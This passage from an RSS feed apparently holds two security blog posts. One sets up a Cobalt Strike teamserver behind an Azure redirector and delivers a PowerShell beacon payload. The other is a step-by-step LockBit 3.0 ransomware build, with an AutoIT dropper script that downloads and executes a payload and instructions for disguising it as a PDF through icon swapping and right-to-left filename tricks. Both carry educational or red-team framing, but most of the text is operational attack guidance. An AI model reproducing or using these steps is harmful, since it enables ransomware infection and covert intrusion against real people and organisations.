src="https://cdn-images-1.medium.com/max/1024/1*0mr7fM2yan-MG6-CwvyBVw.png" /><figcaption>Fig:1.5 Azure Resouces</figcaption></figure><h4><strong>Configuring the Cobalt Strike Teamserver:</strong></h4><ol><li><strong>Add Inbound Traffic Rules to Network security group:</strong></li></ol><p>Navigate to the network security group associated with your Cobalt Strike teamserver VM (CSvm01).</p><p>Add inbound security rules to allow traffic from the redirector private IP address on the necessary ports:</p><ul><li>— <strong>Port 50050</strong> (Cobalt Strike teamserver port)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2UwaDwvyLVZXj-VJenZxg.png" /><figcaption>Fig:2.0 CSvm01-nsg NSG port 50050</figcaption></figure><ul><li>— <strong>Port 80</strong> (HTTP for redirector communication)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VeIFHT6UQmzKxKzL-nyW3Q.png" /><figcaption>Fig:2.1 CSvm01-nsg NSG port 80</figcaption></figure><p>By configuring these inbound traffic rules, you ensure that only traffic from your redirector server can reach the Cobalt Strike teamserver on the specified ports, enhancing the security and control over your red team operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gskSqRq2ebQc7_n7-gFX5g.png" /><figcaption>Fig:2.2 CSvm01-nsg NSG</figcaption></figure><p><strong>2. SSH to the Cobalt Strike VM Through the Redirector VM Using SSH Key</strong></p><p>To securely access the Cobalt Strike teamserver VM (CSvm01) through the redirector VM (Redirectorvm01) using SSH key authentication, follow these steps:</p><p>i.) <strong>Locate the SSH Private Key</strong></p><ul><li>Ensure you have the SSH private key file (.pem) that corresponds to the SSH public key added to both CSvm01 and Redirectorvm01 during their creation.</li></ul><p>ii.) <strong>SSH Configuration on Redirector VM (</strong><strong>Redirectorvm01)</strong></p><ul><li>Open a terminal or SSH client on your local machine.</li><li>Use the following command to SSH into the redirector VM (Redirectorvm01) from your local machine:</li></ul><pre>ssh -i /path/to/your/private_key.pem username@redirector_public_ip<br><br>#Replace /path/to/your/private_key.pem with the path to your SSH private key file and username with your SSH username.</pre><p><strong>iii.) SSH Configuration from Redirector VM to Cobalt Strike VM (</strong><strong>CSvm01)</strong></p><ul><li>Once connected to Redirectorvm01, use the following SSH command to connect to CSvm01:</li></ul><pre>ssh -i /path/to/your/private_key.pem username@CSvm02_private_ip<br><br># Replace /path/to/your/private_key.pem with the same SSH private key file path used in step 2 and username with your SSH username configured on CSvm01. Replace cs_vm_private_ip with the private IP address of CSvm01.</pre><p>4. <strong>Accessing the Cobalt Strike Teamserver and installing dependencies</strong></p><ul><li>After successfully ssh into CSvm01, we first need to Update the repository by running the command: sudo apt-get update.After update , install openJDK-17 or latest java version, as the teamserver runs on Java.</li><li>After that you can <a href="https://download.cobaltstrike.com/download">install Cobalt Strike</a> teamserver using your licensed key and start or manage the teamserver as needed for your red team operations.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYiqeZcISVKmSxwSFy654A.png" /><figcaption>Fig:2.3 Cobalt Strike teamserver Running</figcaption></figure><h4>Creating and Configuring the Redirector Server:</h4><ol><li><strong>Configuring the Security Group</strong></li></ol><p>Before setting up the redirector server (Redirectorvm01), configure the network security group (NSG) to allow inbound traffic on ports 50050 and 80. Follow these steps:</p><ul><li>Navigate to the Azure Portal and locate the network security group associated with Redirectorvm01.</li><li>Add inbound security rules for: <strong>Port 50050 and Port 80</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sCXTnpDFfaqGnrA2pdtVxA.png" /><figcaption>Fig:3.0 Redirectorvm02-nsg</figcaption></figure><p><strong>2. SSH to the Redirector VM (</strong><strong>Redirectorvm01), Update Repository, and Install </strong><strong>socat</strong></p><ul><li>Connect to Redirectorvm01 using SSH with your SSH private key and username.</li></ul><pre>ssh -i /path/to/your/private_key.pem username@redirector_public_ip</pre><ul><li>Update the repository and install socat:</li></ul><pre>sudo apt update<br>sudo apt install socat</pre><p><strong>3. Using </strong><strong>screen Command and Running </strong><strong>socat</strong></p><ul><li>screen is a terminal multiplexer that allows you to run multiple virtual terminal sessions within a single SSH session. It enables you to detach and reattach sessions, making it ideal for long-running processes or commands that you want to keep running even if your SSH connection drops.</li></ul><p><strong>Running </strong><strong>socat Commands</strong>:</p><ul><li>Use screen to run socat commands as background processes. Here’s how you can set up port forwarding using socat:</li></ul><pre># Start a new screen session<br>screen -S socat<br><br># Forward traffic from port 80 on Redirectorvm01 to port 80 on CSvm01<br>sudo socat TCP-LISTEN:80,fork TCP:192.168.1.4:80 &amp;<br><br># Forward traffic from port 50050 on Redirectorvm01 to port 50050 on CSvm01<br>sudo socat TCP-LISTEN:50050,fork TCP:192.168.1.4:50050 &amp;<br><br># Press &#39;Ctrl + A + D&#39; to detached from screen </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*tNyYmythku799OqvWiknvw.png" /><figcaption>Fig:3.1 Running Socat</figcaption></figure><h4>Setting Up the Attacker Machine</h4><p>Now, we need to start the Cobalt Strike client to connect to our teamserver through the redirector. Navigate to the machine where the Cobalt Strike client is installed (Kali OS) and follow these steps:</p><ol><li><strong>Open the Cobalt Strike Client:</strong></li></ol><p>In the Cobalt Strike client, enter the following connection details:</p><ul><li><strong>Host</strong>: Enter the public IP address of Redirectorvm01.</li><li><strong>Port</strong>: 50050 (or the port configured for the teamserver).</li><li><strong>User</strong>: Your Cobalt Strike username.</li><li><strong>Password</strong>: Your Cobalt Strike teamserver password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*S62dPrD6wq0U-W0NkJspOw.png" /><figcaption>Fig:4.0 Cobalt Strike Client connect</figcaption></figure><p>This setup will direct your connection to the redirector, which will then forward it to the Cobalt Strike teamserver (CSvm01).</p><p><strong>2. Verify Connection:</strong></p><ul><li>Once connected, verify that the connection is established and that you can interact with the teamserver.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0DudlkFUr22qOhrbGOfiOA.png" /><figcaption>Fig:4.1 Cobalt Strike Client</figcaption></figure><p><strong>3. Adding a Listener Using the Redirector IP Address:</strong></p><p>In the Cobalt Strike client, go to Cobalt Strike &gt; Listeners.</p><p><strong>Add a New Listener:</strong></p><p>Configure the following settings:</p><ul><li><strong>Listener Name</strong>: Give your listener a descriptive name.</li><li><strong>Payload</strong>: Choose the appropriate payload (e.g., Beacon HTTP).</li><li><strong>HTTP Host</strong>: Enter the public IP address of Redirectorvm01.</li><li><strong>Port</strong>: Set the port you want to use (e.g., 80 or 443).</li><li><strong>HT</strong>TP Host (Stager): Set this to the redirector public IP address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*ypWYZkBklW-2yycrIW3rrw.png" /><figcaption>Fig:4.2 Cobalt Strike Client Listener</figcaption></figure><p>This configuration ensures that the listener uses the redirector’s public IP address, directing incoming traffic to the redirector, which will then forward it to the teamserver.</p><p><strong>4. Launching a Scripted Web Delivery Attack in Cobalt Strike:</strong></p><p>In the Cobalt Strike client, go to Attacks &gt; Scripted Web Delivery(s).</p><p><strong>Configure Scripted Web Delivery</strong>:</p><ul><li><strong>URI Path</strong>: Set the URI path (e.g., /payload). This is the URL path that the target will request to download the payload.</li><li><strong>Local HOST</strong>: Enter the redirector public IP address.</li><li><strong>Local Port</strong>: Enter the port number 80.</li><li><strong>Listener</strong>: Select the listener that we previously created that uses the redirector public IP.</li><li><strong>Type</strong>: Select Powershell.</li><li><strong>x64</strong>: Select x64.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*PYAn8ynIdEThSlo9qVTeDg.png" /><figcaption>Fig:4.3 Cobalt Strike Scripted Web Delivery</figcaption></figure><p>After setting the configuration, click Launch. Cobalt Strike will generate a PowerShell command that you can use to deliver the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*rY_l3SrlHBvEMnkDGDNkCg.png" /><figcaption>Fig:4.4 Cobalt Strike PowerShell command</figcaption></figure><p><strong>5. Deploy the Payload: </strong>Copy the PowerShell Command and Deliver the Command to the Target.</p><ul><li>I’m using my own windows sandbox for testing purpose. you can use social engineering or other methods to deliver the PowerShell command to the target. When the target executes this command, it will download and execute the Cobalt Strike Beacon from the redirector, which forwards the connection to the Cobalt Strike teamserver.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*Ea7T9JWfBEUIhYhZnvIsKw.png" /><figcaption>Fig:4.5 PowerShell execution</figcaption></figure><p>Once the target executes the PowerShell command, monitor the Cobalt Strike client for incoming connections. Interact with the compromised system through the Cobalt Strike interface</p><p>By following these steps, you will have launched a scripted web delivery attack using Cobalt Strike. This attack leverages the redirector to hide the teamserver, ensuring that your operations remain stealthy and secure.</p><p>Below in Fig:4.6 showing the successful connection from a victim machine to the Cobalt Strike teamserver, indicating that the traffic was correctly routed through the redirector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SudfS26Gts5xfonoblh2MQ.png" /><figcaption>Fig:4.6 Connection from compromised Machine</figcaption></figure><h4>Summary</h4><p>In this guide, we walked through the comprehensive process of setting up a Cobalt Strike teamserver on Azure, enhanced with a redirector server for better security. Here’s a brief recap of the steps covered:</p><ol><li><strong>Introduction</strong>: We introduced the importance of securely deploying Cobalt Strike for red teaming, emphasizing the use of a redirector server to protect the main teamserver from direct exposure to the internet.</li><li><strong>Prerequisites</strong>: We outlined the essential requirements, including an Azure account, a licensed Cobalt Strike copy, OpenJDK 17, and SSH keys.</li><li><strong>Setting Up the Azure Environment</strong>: We created a resource group, a virtual network with a subnet, and two virtual machines (VMs): one for the Cobalt Strike teamserver and one for the redirector.</li><li><strong>Configuring the Cobalt Strike Teamserver</strong>: We set up the security group, installed OpenJDK 17, and configured the VM to only allow traffic from the redirector.</li><li><strong>Creating and Configuring the Redirector Server</strong>: We configured the security group, installed socat, and used it to forward traffic from the redirector to the teamserver, utilizing the screen command to ensure persistent processes.</li><li><strong>Verifying the Setup</strong>: We verified the setup by successfully connecting a victim machine to the Cobalt Strike teamserver through the redirector and included a screenshot for confirmation.</li></ol><h4>Conclusion</h4><p>By following this guide, you have established a robust and secure environment for Cobalt Strike operations on Azure. Utilizing a redirector server significantly enhances the security posture of your red team infrastructure by preventing direct exposure of the teamserver to the internet. This setup ensures that your red team activities remain discreet and protected from potential detection or interference.</p><p>The detailed steps provided, from setting up the Azure environment to configuring and verifying the servers, offer a clear and practical approach for deploying Cobalt Strike in a secure manner. Implementing these best practices allows you to conduct red team engagements effectively while maintaining a strong security posture.</p><p>For further enhancements, consider regularly updating your Azure environment, monitoring network traffic, and employing additional security measures such as intrusion detection systems (IDS) and virtual private networks (VPNs) to further safeguard your operations.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9825b6ad7fb9" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/red-teaming-on-azure-how-to-secure-your-cobalt-strike-teamserver-using-redirectors-9825b6ad7fb9">Red Teaming on Azure: How to Secure Your Cobalt Strike Teamserver Using Redirectors</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Into the Dark World of Lockbit 3.0: A Practical Showcase of RAAS and PDF Trojan Technique]]></title>
            <link>https://systemweakness.com/into-the-dark-world-of-lockbit-3-0-a-practical-showcase-of-raas-and-pdf-trojan-technique-a6fe4e38be00?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6fe4e38be00</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[lockbit]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Sun, 12 May 2024 18:56:18 GMT</pubDate>
            <atom:updated>2024-05-15T16:48:10.895Z</atom:updated>
            <content:encoded><![CDATA[<h3>Into the Dark World of LockBit 3.0: A Practical Showcase of RAAS and PDF Trojan Technique</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unYcSIOqwKroceQv-oPpBg.png" /></figure><p>In the ever-evolving landscape of cybercrime, ransomware remains a persistent and increasingly sophisticated threat. Among the myriad ransomware variants, LockBit 3.0 has emerged as a formidable player, showcasing not only advanced encryption techniques but also a shift towards a service-oriented model through Ransomware-as-a-Service (RAAS). Understanding the mechanics of LockBit 3.0 and its utilization of RAAS is crucial for comprehending the current state of ransomware attacks and fortifying defenses against them.</p><p>In this article, we delve into the inner workings of LockBit 3.0, dissecting its mechanisms and exploring the utilization of RAAS to empower cyber criminals. Furthermore, we provide a hands-on demonstration of how attackers leverage tools like LockBit builder and scripting languages like AutoIT to craft sophisticated ransomware payloads and conceal them within innocuous files such as PDFs. Through this practical demonstration, readers will gain insights into the tactics employed by cyber criminals and the measures necessary to defend against them.</p><h4>A Brief History of LockBit Ransomware</h4><p>LockBit ransomware first emerged onto the cybercrime scene in September 2019. Initially, it was observed as a relatively standard ransomware variant, encrypting victims’ files and demanding payment in cryptocurrency for decryption keys. However, what set LockBit apart from its predecessors was its rapid evolution and adaptation to the changing landscape of cybersecurity.</p><p>By early 2020, Lockbit had already undergone significant updates, enhancing its encryption algorithms and obfuscation techniques to evade detection by traditional antivirus solutions. Moreover, it began to demonstrate a more sophisticated approach to targeting victims, often focusing on high-value targets such as large corporations and government entities.</p><p>One of the most significant developments in Lockbit’s evolution came with the introduction of Lockbit 2.0 in mid-2020. This version introduced the concept of Ransomware-as-a-Service (RAAS), allowing cybercriminals to lease the ransomware infrastructure and customize their attacks. This shift marked a turning point in Lockbit’s capabilities, enabling a wider range of threat actors to deploy sophisticated ransomware attacks with minimal technical expertise.</p><p>LockBit 3.0 (aka LockBit Black), the latest iteration of the ransomware, further refines these capabilities, offering improved encryption techniques and expanded attack vectors. With its growing popularity among cybercriminals, LockBit has become a significant player in the ransomware ecosystem, posing a significant threat to organizations and individuals alike. To delve deeper into the intricacies of LockBit 3.0 and uncover its secrets, readers are encouraged to refer to the comprehensive analysis provided in “Ransomware Diaries Volume 3: Lockbit’s Secrets” available at <a href="https://analyst1.com/ransomware-diaries-volume-3-lockbits-secrets/">https://analyst1.com/ransomware-diaries-volume-3-lockbits-secrets/</a>.</p><p><strong>CAUTION</strong>: The activities demonstrated in this article involve engaging with ransomware, which should only be conducted by skilled professionals under controlled environments. While it may appear intriguing to interact with cybercriminals, doing so without proper expertise and authorization can pose serious risks to both individuals and organizations. Please refrain from attempting to replicate the actions depicted in this report unless you possess the requisite knowledge, experience, and qualifications. Your understanding and compliance are appreciated.</p><h4><strong>Inside </strong>LockBit <strong>3.0</strong>: <strong>SIMPLIFYING RANSOMWARE CREATION</strong></h4><p>LockBit 3.0, with its innovative builder tool, has revolutionized the landscape of ransomware creation. Unlike traditional methods that demanded intricate coding skills and technical prowess, LockBit 3.0 Builder streamlines the process to a few simple steps, making ransomware generation accessible to even those with limited technical expertise. Upon downloading the builder package, which typically includes builder.exe, config.json, keygen.exe, and a builder.bat script, adversaries need only to execute the builder.bat script to initialize the process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*grJSCUXJqimt_336XKlUYw.png" /><figcaption>Fig1.1 LockBIT Builder</figcaption></figure><p><strong>1. Builder.bat</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Ys_OCQwLo_NATwBZ-XDQA.png" /><figcaption>Fig1.2 Builder.bat</figcaption></figure><p>The builder.bat script serves as the orchestrator for the LockBit 3.0 ransomware generation process. Let’s break down each line of the script to understand its function:</p><pre>    1. ERASE /F /Q %cd%\Build\*.*: #This command ensures that the Build directory is clean before starting the encryption process. It deletes all files and subdirectories within the Build directory.<br>    2. keygen -path %cd%\Build -pubkey pub.key -privkey priv.key: # This line invokes the keygen utility to generate a pair of cryptographic keys: a public key (pub.key) and a private key (priv.key). These keys are essential for the encryption and decryption of files by the ransomware.<br>    3. builder -type dec -privkey %cd%\Build\priv.key -config config.json -ofile %cd%\Build\LB3Decryptor.exe: # Here, the builder utility is called to create the decryption tool (LB3Decryptor.exe) using the private key (priv.key) generated earlier. This tool is crucial for victims who wish to decrypt their files after paying the ransom.<br>    4. builder -type enc -exe -pubkey %cd%\Build\pub.key -config config.json -ofile %cd%\Build\LB3.exe: # This command instructs the builder to generate the main ransomware executable (LB3.exe) using the public key (pub.key) and configuration settings specified in the config.json file. The resulting executable will be capable of encrypting victims&#39; files.<br>    5. builder -type enc -exe -pass -pubkey %cd%\Build\pub.key -config config.json -ofile %cd%\Build\LB3_pass.exe: # Similar to the previous line, this command generates another executable (LB3_pass.exe) with password protection enabled. This provides an additional layer of security for the ransomware payload.<br>    6. builder -type enc -dll -pubkey %cd%\Build\pub.key -config config.json -ofile %cd%\Build\LB3_Rundll32.dll: # Here, the builder creates a dynamic link library (DLL) file (LB3_Rundll32.dll) that can be used to inject the ransomware payload into other processes on the victim&#39;s system.<br>    7. builder -type enc -dll -pass -pubkey %cd%\Build\pub.key -config config.json -ofile %cd%\Build\LB3_Rundll32_pass.dll: # Similar to the previous line, this command generates a password-protected DLL file (LB3_Rundll32_pass.dll) for injecting the ransomware payload.<br>    8. builder -type enc -ref -pubkey %cd%\Build\pub.key -config config.json -ofile %cd%\Build\LB3_ReflectiveDll_DllMain.dll: # This command creates a reflective DLL (LB3_ReflectiveDll_DllMain.dll), which can be loaded and executed directly in memory without being written to disk, enhancing the stealth capabilities of the ransomware.<br>    9. exit: # This command exits the batch script, indicating the successful completion of the ransomware generation process.</pre><p><strong>2. config.json</strong></p><p>The config.json file contains crucial configuration settings for LockBit 3.0 ransomware, dictating its behavior and the messages displayed to victims. Let’s examine its contents:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQ6qdZx2J4IAlaavaN_h6w.png" /><figcaption>Fig1.3 config.json</figcaption></figure><p>Here’s a breakdown of the configuration settings:</p><ul><li>encrypt_mode: Specifies the encryption mode, with &quot;auto&quot; likely indicating automatic encryption.</li><li>encrypt_filename: Determines whether filenames should be encrypted (false in this case).</li><li>impersonation: Enables impersonation, likely to escalate privileges or bypass security measures.</li><li>skip_hidden_folders: Determines whether hidden folders should be skipped during encryption.</li><li>language_check: Specifies whether language checks should be performed (false in this case).</li><li>local_disks and network_shares: Determine whether local disks and network shares should be targeted for encryption, respectively.</li><li>kill_processes and kill_services: Indicate whether processes and services should be terminated, likely to remove obstacles to encryption.</li><li>running_one: Likely ensures that only one instance of the ransomware runs at a time.</li><li>print_note, set_wallpaper, and set_icons: Determine whether ransom notes should be printed, wallpapers changed, and icons altered, respectively.</li><li>send_report: Specifies whether a report should be sent (false in this case).</li><li>self_destruct: Determines whether the ransomware should self-destruct after execution (true in this case).</li><li>kill_defender: Specifies whether Windows Defender should be terminated (true in this case).</li><li>wipe_freespace: Determines whether free disk space should be wiped (false in this case).</li><li>psexec_netspread, gpo_netspread, and gpo_ps_update: Determine whether the ransomware should spread via PSExec, Group Policy Objects (GPO), or PowerShell, respectively.</li><li>shutdown_system: Specifies whether the system should be shut down after execution (false in this case).</li><li>delete_eventlogs: Determines whether event logs should be deleted (true in this case).</li><li>delete_gpo_delay: Specifies a delay before deleting Group Policy Objects (GPO) (1 in this case).</li></ul><p>Additionally, the configuration includes a message displayed to victims, informing them about the encryption of their data, providing instructions for contacting the attackers, and warning about potential consequences of non-compliance. The message emphasizes the attackers’ reputation and purported professionalism, urging victims not to delete or modify files and warning of repeated attacks if the ransom is not paid. It also includes an advertisement enticing individuals to participate in cybercrime activities for financial gain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SiKvJRYjgd384CsyuxE41w.jpeg" /><figcaption>Fig1.4 cinfig.json</figcaption></figure><p><strong>3. builder.exe</strong></p><p>Builder.exe is the executable file responsible for assembling the components of LockBit 3.0 ransomware, including encryption tools, configuration settings, and messaging scripts, into a cohesive payload ready for deployment.</p><p><strong>4. keygen.exe</strong></p><p>keygen.exe tool is used to generate cryptographic key pairs (public and private keys) necessary for encrypting and decrypting files in LockBit 3.0 ransomware operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Y8TH9HqWYy2SEWE7MEwI1A.png" /><figcaption>Fig1.5 LockBit Flowchart</figcaption></figure><h4><strong>Practical Demonstration: Generating </strong>LockBit<strong>.exe</strong>:</h4><p>Let’s double-click the builder.bat file and observe the outcome. After executing the bat file, a new directory named Build is created, and all the files related to LockBit are stored in Build directory(as we discuss in 1. Build.bat section).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*rD2iULzEPr4f9kAU_CYHng.png" /><figcaption>Fig1.6 LockBit RaaS</figcaption></figure><p>Now that our LockBit ransomware, LB3.exe has been created, let’s explore how we can camouflage it as a seemingly harmless PDF file. This deception transforms the ransomware into a Trojan horse, tricking victims into believing they are opening a PDF when, in reality, they are executing malicious code.</p><h4><strong>Trojanization Techniques with AutoIT Scripting:</strong></h4><p>To create a Trojan horse disguised as a PDF file, we’ll utilize the <a href="https://www.autoitscript.com/site/autoit/">AutoIT</a> tool, specifically Auto2exe, to compile a script written in the .au3 format into an executable file (.exe) with a PDF icon. Here’s a breakdown of the process:</p><ol><li><strong>Install AutoIT:</strong> We need to first install AutoIT software on our Windows OS. You can download it from <a href="https://www.autoitscript.com/site/autoit/downloads/">AutoIT </a>website.</li><li><strong>Upload Files:</strong> Now, upload both the files — the legitimate PDF(Note: the url ends with .pdf name) and the malicious LB3.exe — to a remote server(cloud) from where they can be accessed by our Trojan. This ensures that our Trojan has access to both the seemingly harmless PDF and the LockBit ransomware executable, facilitating its deceptive operation.</li><li><strong>AutoIT Script:</strong> We write a script in AutoIT (.au3) that downloads both the files from specified URLs and executes them. The script includes functions for downloading files from URLs and executing them using ShellExecute.</li></ol><pre>#include &lt;StaticConstants.au3&gt;<br>#include &lt;WindowsConstants.au3&gt;<br><br>Local $urls = &quot;url1,url2&quot;<br><br>Local $urlsArray = StringSplit($urls, &quot;,&quot;, 2 )<br><br>For $url In $urlsArray<br> $sFile = _DownloadFile($url)<br> shellExecute($sFile)<br><br>Next<br><br>Func _DownloadFile($sURL)<br>    Local $hDownload, $sFile<br>    $sFile = StringRegExpReplace($sURL, &quot;^.*/&quot;, &quot;&quot;)<br>    $sDirectory = @TempDir &amp; $sFile<br>    $hDownload = InetGet($sURL, $sDirectory, 17, 1)<br>    InetClose($hDownload)<br>    Return $sDirectory<br>EndFunc   ;==&gt;_GetURLImage</pre><ul><li>URLs: We define two URLs in the script, one pointing to a legitimate PDF file hosted online and another pointing to the LockBit ransomware file hosted on an online platform. These URLs are used to download the respective files.</li><li>Download Function: The script includes a function (_DownloadFile) responsible for downloading files from the specified URLs. It retrieves the filename from the URL, saves the downloaded file to the temporary directory, and returns the file path.</li><li>Execution Loop: The main part of the script iterates through the URLs defined earlier. For each URL, it downloads the corresponding file and executes it using ShellExecute.</li></ul><p><strong>4</strong>. <strong>Download PDF Icon</strong>: Before converting the AutoIT script into an executable file, download a PDF icon or acquire one to replace the default icon of the resulting executable. This step is crucial for enhancing the disguise, making the executable appear convincingly as a harmless PDF document to potential victims.</p><p><strong>5. Launch Auto2exe Application:</strong> Open the Auto2exe application and provide the AutoIT script along with the custom PDF icon acquired in the previous step. Proceed to convert the script into an executable file (.exe). Upon completion, the resulting executable file will be generated with the PDF icon, further enhancing its deceptive appearance as a legitimate PDF document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LkkeWi7u9qKZOv7Kx4ik8w.png" /><figcaption>Fig2.0 Auto2Exe</figcaption></figure><p><strong>6. </strong><a href="https://www.freecodecamp.org/news/rtlo-in-hacking/"><strong>File Extension Manipulation</strong></a><strong>:</strong> Finally, we use a tool like Left to Right Overwrite(charmap) to change the file extension of the executable from .exe to .pdf. This manipulation obscures the true nature of the file, making it appear as a harmless PDF document to unsuspecting victims.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dyug7zM43d5DcyB_uGEhsw.png" /><figcaption>Fig2.1 Left to Right Overright</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rOTlarabo7EkS75pqq-ibQ.png" /><figcaption>Fig2.2 LockBit Trojan</figcaption></figure><p><strong>7. Archive the Trojan into ZIP:</strong> Package the Trojan into a ZIP archive for distribution. This step simplifies the dissemination process, allowing the Trojan to be shared more easily while maintaining its disguise as a harmless PDF file.</p><p>By following these steps, we create a Trojan horse that masquerades as a PDF file, luring victims into unwittingly executing the LockBit ransomware payload. This method of obfuscation and disguise underscores the importance of vigilance and cautious behavior when handling file attachments and downloads.</p><h4><strong>Testing the Trojan PDF</strong>:</h4><p>Now adversary can send this zip archive to the victim using social engineering. For this demonstration I’m using my own Windows sandbox machine so that it wont harmful our host OS.</p><ol><li>Unzip the download file and execute the pdf(trojan) file.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lG_RcagafCZKXtsXtTWpjQ.png" /><figcaption>Fig3.0 Trojan Archive</figcaption></figure><p>2. Open the PDF file, and you will be able to view what appears to be a legitimate PDF document. However, in the background, our LockBit ransomware initiates the encryption process, silently encrypting the victim’s files without their knowledge or consent. This stealthy operation underscores the deceptive nature of the Trojan, which masquerades as an innocuous file while carrying out malicious activities behind the scenes.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F945544547%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F945544547&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F1851027422-c9281c05f1fa9f998bed17f5fa0befce50a0c8b5b545e70f536ae7a7cd9835ca-d_1280&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=vimeo" width="1920" height="1080" frameborder="0" scrolling="no"><a href="https://medium.com/media/9e7ee0d849f143e711e1b5e47a183ce2/href">https://medium.com/media/9e7ee0d849f143e711e1b5e47a183ce2/href</a></iframe><p>I created a file named “demo.txt” and wrote some text to verify its contents after the ransomware completes its work. Are we able to view the content of the “demo.txt” file once the ransomware has finished its encryption process? This examination will help us understand the extent of the ransomware’s impact on the victim’s files and determine the effectiveness of the decryption process.</p><p>As seen in VID1.0, all files were encrypted, and their extensions were changed to random characters, such as “u0YFb4vQd”(specified in config.json file while creating the LockBit ransomware). Additionally, the desktop wallpaper was altered. A file named “u0YFb4vQd.README.txt” was created, containing all the details of the ransomware attack. This README file includes instructions for the victim on how to pay the ransom and regain access to their files, along with other pertinent information regarding the attack.</p><h4><strong>Impact and Consequences of </strong>LockBit <strong>3.0 Attacks</strong>:</h4><p>The consequences of LockBit 3.0 attacks are severe, resulting in encrypted files, altered system settings, and potential data loss. Moreover, the ransom demands and potential reputational damage to affected organizations can be significant, highlighting the detrimental impact of these attacks on both individuals and businesses.</p><h4>Preventive Measures and Mitigation Strategies:</h4><ol><li><strong>Regular Data Backups:</strong> Maintain frequent backups of essential data, ensuring redundancy in case of encryption or loss during a ransomware attack.</li><li><strong>Employee Training:</strong> Educate employees on recognizing phishing emails and suspicious links to prevent inadvertent installation of ransomware payloads.</li><li><strong>Up-to-Date Security Software:</strong> Install and regularly update antivirus and antimalware software to detect and prevent ransomware infections.</li><li><strong>Network Segmentation:</strong> Segment networks to restrict lateral movement of ransomware within the organization, containing potential breaches.</li><li><strong>Patch Management:</strong> Keep operating systems, software, and applications updated with the latest security patches to address vulnerabilities exploited by ransomware.</li><li><strong>Access Control:</strong> Implement least privilege access controls to limit the spread of ransomware and minimize the impact of compromised accounts.</li><li><strong>Ransomware Protection Tools:</strong> Deploy dedicated ransomware protection tools that can detect and block ransomware activities in real-time.</li><li><strong>Incident Response Plan:</strong> Develop and test an incident response plan outlining procedures for identifying, containing, and mitigating ransomware attacks promptly.</li><li><strong>Disable Remote Desktop Protocol (RDP):</strong> If not required, disable RDP or use strong authentication methods to prevent unauthorized access to systems.</li><li><strong>Regular Security Audits:</strong> Conduct regular security audits and assessments to identify and remediate potential security weaknesses before they can be exploited by ransomware attackers.</li></ol><h4>Conclusion and Future Outlook:</h4><p>In conclusion, the emergence of LockBit 3.0 ransomware as a service (RaaS) highlights the evolving sophistication of cyber threats facing organizations and individuals. The practical demonstration showcased the ease with which attackers can deploy ransomware, emphasizing the critical need for proactive cybersecurity measures.</p><p>Looking ahead, the future outlook remains challenging as ransomware attacks continue to evolve in complexity and scale. However, by implementing robust preventive measures, staying vigilant against emerging threats, and fostering a culture of cybersecurity awareness, organizations and individuals can better protect themselves against ransomware attacks and mitigate their impact.</p><p>As the cybersecurity landscape evolves, collaboration between industry stakeholders, law enforcement agencies, and cybersecurity experts will be essential in developing effective strategies to combat ransomware and safeguard digital assets in an increasingly interconnected world.</p><p>Thank you for you valuable time! If you have any more questions or need further assistance in the future, feel free to reach out.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6fe4e38be00" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/into-the-dark-world-of-lockbit-3-0-a-practical-showcase-of-raas-and-pdf-trojan-technique-a6fe4e38be00">Into the Dark World of Lockbit 3.0: A Practical Showcase of RAAS and PDF Trojan Technique</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
